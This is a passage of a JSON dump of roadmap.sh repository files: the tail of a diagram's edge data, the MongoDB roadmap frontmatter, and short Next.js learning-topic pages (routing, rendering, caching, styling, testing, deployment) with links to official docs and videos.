     \"sourceHandle\": \"z2\",\n      \"target\": \"6H2MMnEfS6uHGS-6pFo8u\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__1HBTZGBuT2cKNmwgFkGOFz2-6H2MMnEfS6uHGS-6pFo8uy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cOKQQ7SaiawWF49MdCGTh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"LC923iJhfiUDIs_0-9rc7\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__cOKQQ7SaiawWF49MdCGThx2-LC923iJhfiUDIs_0-9rc7w1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LC923iJhfiUDIs_0-9rc7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"YuzMOO7kf2tO6V6WehqF_\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__LC923iJhfiUDIs_0-9rc7y2-5F7zAAnvnVTTnBzOB7TSuz2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LC923iJhfiUDIs_0-9rc7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"NoDNdno9UOlMrOC0Wga9E\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__LC923iJhfiUDIs_0-9rc7y2-NoDNdno9UOlMrOC0Wga9Ez1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LC923iJhfiUDIs_0-9rc7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"w1L-yFBM2AyeNBFyH5skW\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__LC923iJhfiUDIs_0-9rc7y2-w1L-yFBM2AyeNBFyH5skWz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LC923iJhfiUDIs_0-9rc7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"NV39oWwr7iB_dnlnD_Q6Y\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__LC923iJhfiUDIs_0-9rc7y2-NV39oWwr7iB_dnlnD_Q6Yz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LC923iJhfiUDIs_0-9rc7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"yRJ6jeysFXBpwLEqvrdKk\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__LC923iJhfiUDIs_0-9rc7y2-yRJ6jeysFXBpwLEqvrdKkz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LC923iJhfiUDIs_0-9rc7\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"O5dely89N5UCMBeUfh8ud\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__LC923iJhfiUDIs_0-9rc7x2-O5dely89N5UCMBeUfh8udw1\",\n      \"selected\": false,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/mongodb/mongodb.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/mongodb.json'\npdfUrl: '/pdfs/roadmaps/mongodb.pdf'\norder: 14\nrenderer: 'editor'\nbriefTitle: 'MongoDB'\nbriefDescription: 'Step by step guide to learning MongoDB in 2025'\ntitle: 'MongoDB'\ndescription: 'Step by step guide to learning MongoDB in 2025'\nisNew: false\nhasTopics: true\ndimensions:\n  width: 968\n  height: 2390\nschema:\n  headline: 'MongoDB Roadmap: Step by step guide to learning MongoDB in 2025'\n  description: 'Learn how to use MongoDB with this interactive step by step guide in 2023. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/mongodb.png'\n  datePublished: '2023-03-16'\n  dateModified: '2023-03-16'\nseo:\n  title: 'MongoDB Roadmap'\n  description: 'Step by step guide to learn MongoDB in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  keywords:\n    - 'mongodb tutorial'\n    - 'step by step mongodb'\n    - 'mongodb roadmap 2024'\n    - 'mongodb roadmap 2025'\n    - 'guide to learning mongodb'\n    - 'mongodb roadmap'\n    - 'mongodb'\n    - 'mongodb engineer'\n    - 'mongodb skills'\n    - 'mongodb development'\n    - 'mongodb development skills'\n    - 'mongodb development skills test'\n    - 'mongodb engineer roadmap'\n    - 'mongodb career path'\n    - 'learn mongodb development'\n    - 'what is mongodb'\n    - 'mongodb quiz'\n    - 'mongodb interview questions'\nrelatedRoadmaps:\n  - 'postgresql-dba'\n  - 'backend'\n  - 'nodejs'\n  - 'redis'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/adapters@fXXlJ6oN_YPWVr-fqEar3.md",
    "content": "# Adapter\n\nNext.js can be adapted to run on different platforms to support their infrastructure capabilities, including AWS Amplify Hosting, Cloudflare, Deno Deploy, Netlify, and Vercel.\n\nVisit the following resources to learn more:\n\n- [@official@Deployment with Adapters](https://nextjs.org/docs/app/getting-started/deploying#adapters)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/analytics@a34ZmSk5VYVLq8wsEvOcI.md",
    "content": "# Analytics\n\nNext.js has built-in support for measuring and reporting performance metrics. You can either use the `useReportWebVitals` hook to manage reporting yourself, or alternatively, Vercel provides a managed service to automatically collect and visualize metrics for you.\n\nVisit the following resources to learn more:\n\n- [@official@How to add analytics to your Next.js application](https://nextjs.org/docs/app/guides/analytics)\n- [@official@useReportWebVitals](https://nextjs.org/docs/app/api-reference/functions/use-report-web-vitals)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/api-endpoints@4H8aOVYsZiPbTQUYcZjb_.md",
    "content": "# API Endpoints \n\nAPI Routes let you create an API endpoint inside a Next.js app. API endpoints work differently in Pages routers and App Routers:\n\n* Pages Router: Historically, Next.js used pages/api/* for APIs. This approach relied on Node.js request/response objects and an Express-like API.\n* App Router (Default): Introduced in Next.js 13, the App Router fully embraces web standard Request/Response APIs. Instead of pages/api/*, you can now place `route.ts` or `route.js` files anywhere inside the app/ directory.\n\nVisit the following resources to learn more:\n\n- [@official@Route Handlers and Middleware](https://nextjs.org/docs/app/getting-started/route-handlers-and-middleware)\n- [@official@API Routes for Pages Router](https://nextjs.org/docs/pages/building-your-application/routing/api-routes)\n- [@official@Building APIs with Next.js](https://nextjs.org/blog/building-apis-with-nextjs)\n- [@video@Next.js 15 Tutorial - Route Handlers](https://www.youtube.com/watch?v=27Uj6BeIDV0)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/app@3VXKRDxDmqJObkoW8ndrz.md",
    "content": "# App Router\n\nThe App Router is a file-system based router that uses React's latest features, such as [Server Components](https://react.dev/reference/rsc/server-components), [Suspense](https://react.dev/reference/react/Suspense), and [Server Functions](https://react.dev/reference/rsc/server-functions)\n\nVisit the following resources to learn more:\n\n- [@official@App Router Tutorial](https://nextjs.org/learn/dashboard-app)\n- [@video@Next js Tutorial for Beginners | Nextjs 13 (App Router) with TypeScript](https://www.youtube.com/watch?v=ZVnjOPwW4ZA)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/caching-data@77i6HVsnX-uSDw8vz3afD.md",
    "content": "# Caching Data\n\nCaching data in Next.js involves storing the results of data fetches so that subsequent requests for the same data can be served faster. Instead of repeatedly fetching data from a database or API, Next.js can retrieve it from the cache. This improves performance and reduces the load on your data sources. Caching can be configured at different levels.\n\nCaching behavior changes depending on whether the route is statically or dynamically rendered, data is cached or uncached, and whether a request is part of an initial visit or a subsequent navigation. Depending on your use case, you can configure the caching behavior for individual routes and data requests.\n\nVisit the following resources to learn more:\n\n- [@official@Caching and Revalidating](https://nextjs.org/docs/app/getting-started/caching-and-revalidating)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/caching@0Rgs7jaFX1Gl5KDT6DKbX.md",
    "content": "# Caching API Endpoints in Next.js\n\nWhen you don't know the exact route segment names ahead of time and want to create routes from dynamic data, you can use Dynamic Segments that are filled in at request time or prerendered at build time. One example is catch-all segments, which allow you to extend API Routes  to catch all subsequent paths.\n\nVisit the following resources to learn more:\n\n- [@official@Catch-all Segments for App Router](https://nextjs.org/docs/app/api-reference/file-conventions/dynamic-routes#catch-all-segments)\n- [@official@Catch all API routes for Page Router](https://nextjs.org/docs/pages/building-your-application/routing/api-routes#catch-all-api-routes)\n- [@video@Next.js 15 Tutorial - Catch all Segments](https://www.youtube.com/watch?v=d46hLIg1B3Q)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/client-rendered@HdSmD_nDV5BPO5JJqs1k8.md",
    "content": "# Client-Side Rendering in Next.js\n\nClient-Side Rendering (CSR) means the browser receives a minimal HTML page from the server. The browser then downloads the JavaScript code, which is responsible for rendering the entire user interface. The JavaScript code fetches the data and dynamically generates the HTML content in the browser. This approach shifts the rendering workload from the server to the client's browser.\n\nVisit the following resources to learn more:\n\n- [@official@Server and Client Components for App Router](https://nextjs.org/docs/app/getting-started/server-and-client-components)\n- [@official@Client-side Rendering for Pages Router](https://nextjs.org/docs/pages/building-your-application/rendering/client-side-rendering)\n- [@official@Client Components](https://nextjs.org/docs/14/app/building-your-application/rendering/client-components)\n- [@video@Next.js 15 Tutorial - Server and Client Components](https://www.youtube.com/watch?v=dMCSiA5gzkU)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/client@jYSa7UMmjb51pGAyU4PoB.md",
    "content": "# Client-Side Data Fetching\n\nClient-side data fetching involves retrieving data directly in the user's browser using JavaScript. This happens after the initial HTML content is loaded. When a user interacts with a page, or after a certain event, the browser makes a request to an API or data source. The fetched data is then used to update the user interface dynamically, without requiring a full page reload. \n\nClient-side data fetching is useful when your page doesn't require SEO indexing, when you don't need to pre-render your data, or when the content of your pages needs to update frequently.  It's important to note that using client-side data fetching can affect the performance of your application and the load speed of your pages. This is because the data fetching is done at the time of the component or pages mount, and the data is not cached.\n\nVisit the following resources to learn more:\n\n- [@official@Client-side Fetching for App Router](https://nextjs.org/docs/app/getting-started/fetching-data#client-components)\n- [@official@Client-side Fetching for Pages Router](https://nextjs.org/docs/pages/building-your-application/data-fetching/client-side)\n- [@video@Next.js 15 Tutorial - Fetching Data in Client Components](https://www.youtube.com/watch?v=7Kz4--kCBP0)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/composition@6O9c3J-1JQtZTXXIDDXSM.md",
    "content": "# Rendering Composition\n\nRendering composition is the practice of building complex user interfaces by combining smaller, reusable components. In Next.js, this is important because it allows you to strategically decide which parts of your application should be pre-rendered on the server for better performance and SEO, and which parts can be rendered on the client for dynamic interactivity. By composing components effectively, you can optimize the rendering strategy for each part of your application, leading to a faster and more efficient user experience.\n\nVisit the following resources to learn more:\n\n- [@official@Server and Client Composition Patterns](https://nextjs.org/docs/14/app/building-your-application/rendering/composition-patterns)\n- [@official@Server and Client Components](https://nextjs.org/docs/app/getting-started/server-and-client-components#how-do-server-and-client-components-work-in-nextjs)\n- [@video@Next.js 15 Tutorial - Server and Client Components](https://www.youtube.com/watch?v=dMCSiA5gzkU)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/create-next-app@3tTTKj6PWsRoRRXH5tXxS.md",
    "content": "# create-next-app\n\nThe create-next-app CLI allow you to create a new Next.js application using the default template or an example from a public GitHub repository. It is the easiest way to get started with Next.js.\n\nVisit the following resources to learn more:\n\n- [@official@create-next-app](https://nextjs.org/docs/app/api-reference/cli/create-next-app)\n- [@video@Create Next App | Create Next Js Project](https://www.youtube.com/watch?v=o1cRvsrHbfo)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/csr@4CcK-BLP5NM3ZrCIEG4s8.md",
    "content": "# Client-Side Rendering (CSR)\n\nIn Client-Side Rendering (CSR) with React, the browser downloads a minimal HTML page and the JavaScript needed for the page. The JavaScript is then used to update the DOM and render the page. When the application is first loaded, the user may notice a slight delay before they can see the full page, this is because the page isn't fully rendered until all the JavaScript is downloaded, parsed, and executed.\n\nAfter the page has been loaded for the first time, navigating to other pages on the same website is typically faster, as only necessary data needs to be fetched, and JavaScript can re-render parts of the page without requiring a full page refresh.\n\nVisit the following resources to learn more:\n\n- [@official@Client-side Rendering (CSR)](https://nextjs.org/docs/pages/building-your-application/rendering/client-side-rendering)\n- [@article@What is Client-side Rendering (CSR)?](https://prismic.io/blog/client-side-rendering)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/css-in-js@j5jIZvz_bMZqmr_gl0pQF.md",
    "content": "# CSS in JS\n\nIt's possible to use any existing CSS-in-JS solution in your existing Next.js Apps and Pages. CSS-in-JS is a technique where CSS styles are written in JavaScript files instead of separate CSS files. This approach allows you to use JavaScript's dynamic capabilities to manage and scope your styles, often using libraries that generate CSS at runtime or build time. It offers benefits like component-level styling, dynamic theming, and easier management of CSS dependencies.\n\nVisit the following resources to learn more:\n\n- [@official@How to use CSS-in-JS libraries in App Router](https://nextjs.org/docs/app/guides/css-in-js)\n- [@official@How to use CSS-in-JS libraries in Pages Router](https://nextjs.org/docs/pages/guides/css-in-js)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/css-modules@tlg5XMVcAHmhey-efjf3M.md",
    "content": "# CSS Modules\n\nCSS Modules locally scope CSS by generating unique class names. This allows you to use the same class in different files without worrying about naming collisions.\n\nVisit the following resources to learn more:\n\n- [@official@CSS Modules](https://nextjs.org/docs/app/getting-started/css#css-modules)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/custom-server@Hj01UZuHkQppXTq6XV9Pn.md",
    "content": "# How to set up a custom server in Next.js\n\nNext.js includes its own server with `next start` by default. If you have an existing backend, you can still use it with Next.js (this is not a custom server). A custom Next.js server allows you to programmatically start a server for custom patterns. The majority of the time, you will not need this approach. However, it's available if you need to eject.\n\nVisit the following resources to learn more:\n\n- [@official@How to set up a custom server in Next.js](https://nextjs.org/docs/app/guides/custom-server)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/cypress@KmOTgclnf-QYDYK0QwwVe.md",
    "content": "# Cypress\n\nNext.js supports Cypress for End-to-End (E2E) and Component Testing. With Cypress, you can easily create tests for your modern web applications, debug them visually, and automatically run them in your continuous integration builds.\n\nVisit the following resources to learn more:\n\n- [@official@How to set up Cypress with Next.js](https://nextjs.org/docs/app/guides/testing/cypress)\n- [@official@Cypress](https://www.cypress.io/)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/data-fetching-patterns@GAHFfQ8CviNxV7ITpt--q.md",
    "content": "# Data Fetching Patterns in Next.js\n\nThere are a few recommended patterns and best practices for fetching data in React and Next.js, including: \n* Fetching data on the server.\n* Fetching data only where it's necessary.\n* Using React's streaming and Suspense features to progressively render and incrementally stream rendered units of the UI to the client.\n* Using parallel or sequential fetching depending on your particular use case.\n* Using preload data.\n\nVisit the following resources to learn more:\n\n- [@official@Patterns and Best Practices](https://nextjs.org/docs/14/app/building-your-application/data-fetching/patterns#fetching-data-on-the-server)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/deployment-options@BPStVqWV0660A-_fJSuM7.md",
    "content": "# Deployment Options\n\nNext.js can be deployed in multiple ways, including as a :\n\n* Node.js server, \n* Docker container, \n* static export,\n* adapted to run on different platforms.\n\nVisit the following resources to learn more:\n\n- [@official@Deploying in Next.js](https://nextjs.org/docs/app/getting-started/deploying)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/docker-container@y5_zX209AaHOf_wQibo12.md",
    "content": "# Docker Container\n\nNext.js can be deployed to any provider that supports Docker containers. This includes container orchestrators like Kubernetes or a cloud provider that runs Docker. Docker deployments support all Next.js features.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Docker Roadmap](https://roadmap.sh/docker)\n- [@official@Deployment with Docker](https://nextjs.org/docs/app/getting-started/deploying#nodejs-server)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/edge@SYUKB1Afciqz7hA1n5yIx.md",
    "content": "# Edge Runtime\n\nThe Edge Runtime is a lightweight JavaScript runtime environment based on V8, designed to execute code closer to the user. It allows you to run server-side logic, like API routes and middleware, on a globally distributed network of servers. This proximity reduces latency and improves the overall performance of your application by minimizing the distance data needs to travel.\n\nVisit the following resources to learn more:\n\n- [@official@What is Edge Runtime?](https://edge-runtime.vercel.app/)\n- [@official@Edge Runtime](https://nextjs.org/docs/app/api-reference/edge)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/environment-variables@iv6rWEqjh07d0n2kAQedO.md",
    "content": "# Environment Variables\n\nEnvironment variables are dynamic values that can affect the behavior of programs on a computer. They are typically used to store configuration settings, API keys, and other sensitive information that should not be hardcoded directly into the application's source code. This allows you to easily change the application's behavior without modifying the code itself, making it more flexible and secure across different environments like development, testing, and production.\n\nNext.js comes with built-in support for environment variables, which allows you to use `.env` to load environment variables, and bundle environment variables for the browser by prefixing with` NEXT_PUBLIC_`\n\nVisit the following resources to learn more:\n\n- [@official@How to use environment variables in Next.js](https://nextjs.org/docs/app/guides/environment-variables)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/error-states@pxltXOWgpbo95V4u2ryX7.md",
    "content": "# Error States\n\nError states in Next.js routing refer to how your application handles situations where a route cannot be successfully loaded or rendered. Errors can be divided into two categories: expected errors and uncaught exceptions.\n\nExpected errors are those that can occur during the normal operation of the application, such as those from server-side form validation or failed requests. These errors should be handled explicitly and returned to the client.\n\nUncaught exceptions are unexpected errors that indicate bugs or issues that should not occur during the normal flow of your application. These should be handled by throwing errors, which will then be caught by error boundaries.\n\nVisit the following resources to learn more:\n\n- [@official@Error Handling](https://nextjs.org/docs/app/getting-started/error-handling#handling-expected-errors)\n- [@video@Next.js 15 Tutorial - Error Handling](https://www.youtube.com/watch?v=fWV5WPSbgdg)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/eslint@CvrHzkxg7ndCvd_tbYnK4.md",
    "content": "# ESLint\n\nESLint is an open-source static code analysis tool for JavaScript that identifies problematic patterns and style issues in your code, helping to enforce coding standards and prevent bugs before they occur\n\nNext.js provides an ESLint plugin, `eslint-plugin-next`, already bundled within the base configuration that makes it possible to catch common issues and problems in a Next.js application.\n\nVisit the following resources to learn more:\n\n- [@official@ESLint Plugin](https://nextjs.org/docs/app/api-reference/config/eslint)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/fetching-locations@lkdBRzC8lAvRYKBt7E37V.md",
    "content": "# Fetching Location\n\nData fetching in Next.js allows you to render your content in different ways, depending on your application's use case. By default, layouts and pages are Server Components, which lets you fetch data and render parts of your UI on the server, optionally cache the result, and stream it to the client. When you need interactivity or browser APIs, you can use Client Components to layer in functionality.\n\n\n\nThese include pre-rendering with Server-side Rendering or Static Generation, and updating or creating content at runtime with Incremental Static Regeneration.\n\nVisit the following resources to learn more:\n\n- [@official@Fetching Data](https://nextjs.org/docs/app/getting-started/fetching-data)\n- [@video@Next.js 15 Tutorial - Data Fetching](https://www.youtube.com/watch?v=DRsU93Lde2)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/fonts@ZptECTASMX97m5yCZ-XO8.md",
    "content": "# Font Optimization\n\nThe `next/font` module automatically optimizes your fonts and removes external network requests for improved privacy and performance. It includes built-in self-hosting for any font file. This means you can optimally load web fonts with no layout shift.\n\nVisit the following resources to learn more:\n\n- [@official@Font Optimization](https://nextjs.org/docs/app/getting-started/fonts)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/global-css@BfNON3Vp3zSWBurSS4ZHo.md",
    "content": "# Global CSS\n\nNext.js provides several ways to style your application using CSS. One example is Global CSS, which refers to CSS styles that are applied across your entire application. This means that the styles defined in a global CSS file will affect all elements on every page of your website, unless specifically overridden by more specific CSS rules. It's a way to establish a consistent look and feel throughout your project.\n\nVisit the following resources to learn more:\n\n- [@official@Global CSS](https://nextjs.org/docs/app/getting-started/css#global-css)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/handling-sensitive-data@Ti_Bl5NnRIY9UTNTH15xA.md",
    "content": "# Handling Sensitive Data\n\nSensitive data, like API keys or user credentials, requires careful management to prevent exposure. In Next.js, you should avoid directly embedding such data in client-side code or committing it to your repository. Instead, leverage environment variables and server-side logic to securely access and utilize sensitive information, ensuring it remains protected from unauthorized access.\n\nVisit the following resources to learn more:\n\n- [@official@How to think about data security in Next.js](https://nextjs.org/docs/app/guides/data-security#data-fetching-approaches)\n- [@article@How to Think About Security in Next.js](https://nextjs.org/blog/security-nextjs-server-components-actions)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/images@1t9iOcmrEmuwOxOZ0vlY7.md",
    "content": "# Images\n\n images account for a huge portion of the typical website’s page weight and can have a sizable impact on your website's LCP performance. The Next.js Image component extends the HTML <img> element with features for automatic image optimization, including:\n\n* Size Optimization: Automatically serve correctly sized images for each device, using modern image formats like WebP and AVIF.\n* Visual Stability: Prevent layout shift automatically when images are loading.\n* Faster Page Loads: Images are only loaded when they enter the viewport using native browser lazy loading, with optional blur-up placeholders.\n* Asset Flexibility: On-demand image resizing, even for images stored on remote servers\n\nVisit the following resources to learn more:\n\n- [@official@Image Optimization](https://nextjs.org/docs/app/getting-started/images)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/instrumentation@DHqdXJFhVZWaNa5zSX8Wk.md",
    "content": "# instrumentation\n\nInstrumentation is the process of using code to integrate monitoring and logging tools into your application. This allows you to track the performance and behavior of your application, and to debug issues in production.\n\nVisit the following resources to learn more:\n\n- [@official@How to set up instrumentation](https://nextjs.org/docs/app/guides/instrumentation)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/intercepting-routes@dP6cZkEZ6lxPsy5SjvuZA.md",
    "content": "# Intercepting Routes\n\nIntercepting routes allows you to load a route from another part of your application within the current layout. This routing paradigm can be useful when you want to display the content of a route without the user switching to a different context. For example, when clicking on a photo in a feed, you can display the photo in a modal, overlaying the feed.\n\nVisit the following resources to learn more:\n\n- [@official@Intercepting Routes](https://nextjs.org/docs/app/api-reference/file-conventions/intercepting-routes)\n- [@video@Next.js 15 Tutorial - Intercepting Routes](https://www.youtube.com/watch?v=FTiwIVxWC00)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/internationalization@bSsM7VLZcJKYL5XXSG0r-.md",
    "content": "# Internationalization\n\nInternationalization is the process of designing and developing applications that can be adapted to various languages and regions without engineering changes. Next.js enables you to configure the routing and rendering of content to support multiple languages. Making your site adaptive to different locales includes translated content (localization) and internationalized routes.\n\nVisit the following resources to learn more:\n\n- [@official@How to implement internationalization in Next.js for App Router](https://nextjs.org/docs/app/guides/internationalization)\n- [@official@How to implement internationalization in Next.js for Pages Router](https://nextjs.org/docs/pages/guides/internationalization)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/introduction@tcDL4OEbZplbjNa8VTLpv.md",
    "content": "# Introduction\n\nNext.js is a React framework that enables functionalities like server-side rendering and static site generation for web applications. It provides a structure for organizing React components, handling routing, and optimizing performance. Next.js simplifies the process of building production-ready, full-stack web applications with React.\n\nVisit the following resources to learn more:\n\n- [@official@Next.js](https://nextjs.org/)\n- [@official@Next.js Docs](https://nextjs.org/docs)\n- [@official@Next.js Course](https://nextjs.org/learn)\n- [@opensource@Next.js](https://github.com/vercel/next.js)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/javascript-basics@DlUQkDRPUcjC3pO4P5zCQ.md",
    "content": "# JavaScript Basics\n\nJavaScript is a programming language that adds interactivity to websites. It allows you to create dynamic content, control multimedia, animate images, and much more. Think of HTML as the structure of a house, CSS as the interior design, and JavaScript as the electrical system that makes everything work. Understanding JavaScript is crucial before diving into Next.js because Next.js is built on top of React, which itself is a JavaScript library. Without a solid grasp of JavaScript fundamentals, you'll find it difficult to understand and effectively use Next.js's features and concepts.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@article@The Modern JavaScript Tutorial](https://javascript.info/)\n- [@video@JavaScript Crash Course for Beginners](https://youtu.be/hdI2bqOjy3c)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/jest@sc5Pliyq6bfeFXp0ca5yH.md",
    "content": "# Jest\n\nNext.js allows you to use Jest for unit testing and snapshot testing. Jest is a JavaScript testing framework created by Facebook, designed for ensuring the correctness of JavaScript code, especially React applications. It provides a complete and easy-to-use solution for writing unit, integration, and end-to-end tests. Jest includes features like a test runner, assertion library, mocking capabilities, and code coverage reporting, making it a popular choice for developers looking to thoroughly test their code.\n\nVisit the following resources to learn more:\n\n- [@official@How to set up Jest with Next.js](https://nextjs.org/docs/app/guides/testing/jest)\n- [@official@Jest](https://jestjs.io/)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/layouts-and-templates@zJXCS7U9NUsn7cuEx3YMs.md",
    "content": "# Layouts and Templates\n\nLayouts and templates provide a way to share UI elements across multiple pages, maintaining state and avoiding unnecessary re-renders. Layouts wrap around pages, persisting across route changes to preserve things like navigation bars or sidebars. \n\nTemplates are similar to layouts in that they wrap each child layout or page. Unlike layouts that persist across routes and maintain state, templates create a new instance for each of their children on navigation. This means that when a user navigates between routes that share a template, a new instance of the component is mounted, DOM elements are recreated, state is not preserved, and effects are re-synchronized.\n\nVisit the following resources to learn more:\n\n- [@official@Layouts for App Router](https://nextjs.org/docs/app/api-reference/file-conventions/layout#root-layouts)\n- [@official@Layouts for Pages Router](https://nextjs.org/docs/pages/building-your-application/routing/pages-and-layouts)\n- [@official@Templates for App Router](https://nextjs.org/docs/app/api-reference/file-conventions/template)\n- [@article@A guide to Next.js layouts and nested layouts](https://blog.logrocket.com/guide-next-js-layouts-nested-layouts/)\n- [@video@Next.js 15 Tutorial - Layouts](https://www.youtube.com/watch?v=NK-8a8EzWrU)\n- [@video@Next.js 15 Tutorial - Templates](https://www.youtube.com/watch?v=yfww2kplO-k)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/lazy-loading@3_Mpvkxp9A7PMogxxMikQ.md",
    "content": "# Lazy Loading\n\nLazy loading in Next.js helps improve the initial loading performance of an application by decreasing the amount of JavaScript needed to render a route. It allows you to defer loading of Client Components and imported libraries, and only include them in the client bundle when they're needed. For example, you might want to defer loading a modal until a user clicks to open it.\n\nVisit the following resources to learn more:\n\n- [@official@How to lazy load Client Components and libraries](https://nextjs.org/docs/app/guides/lazy-loading)\n- [@article@Lazy loading](https://developer.mozilla.org/en-US/docs/Web/Performance/Guides/Lazy_loading)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/loading-and-streaming@b2LcPc5MfoyF0W9Y0aGpR.md",
    "content": "# Loading and Streaming\n\nThe special file `loading.js` helps you create meaningful Loading UI with React Suspense. With this convention, you can show an instant loading state from the server while the content of a route segment loads. The new content is automatically swapped in once rendering is complete.\n\nIn addition to `loading.js`, you can also manually create Suspense Boundaries for your own UI components. The App Router supports streaming with Suspense for both Node.js and Edge runtimes.\n\nVisit the following resources to learn more:\n\n- [@official@Loading UI and Streaming](https://nextjs.org/docs/14/app/building-your-application/routing/loading-ui-and-streaming)\n- [@official@Instant Loading States](https://nextjs.org/docs/14/app/building-your-application/routing/loading-ui-and-streaming#instant-loading-states)\n- [@official@Suspense](https://react.dev/reference/react/Suspense)\n- [@article@Next.js 15 Tutorial - Loading UI](https://www.youtube.com/watch?v=0OVg4ikUaz0)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/markdown-and-mdx@3GI0xHGG_qgpLfEjaLYxr.md",
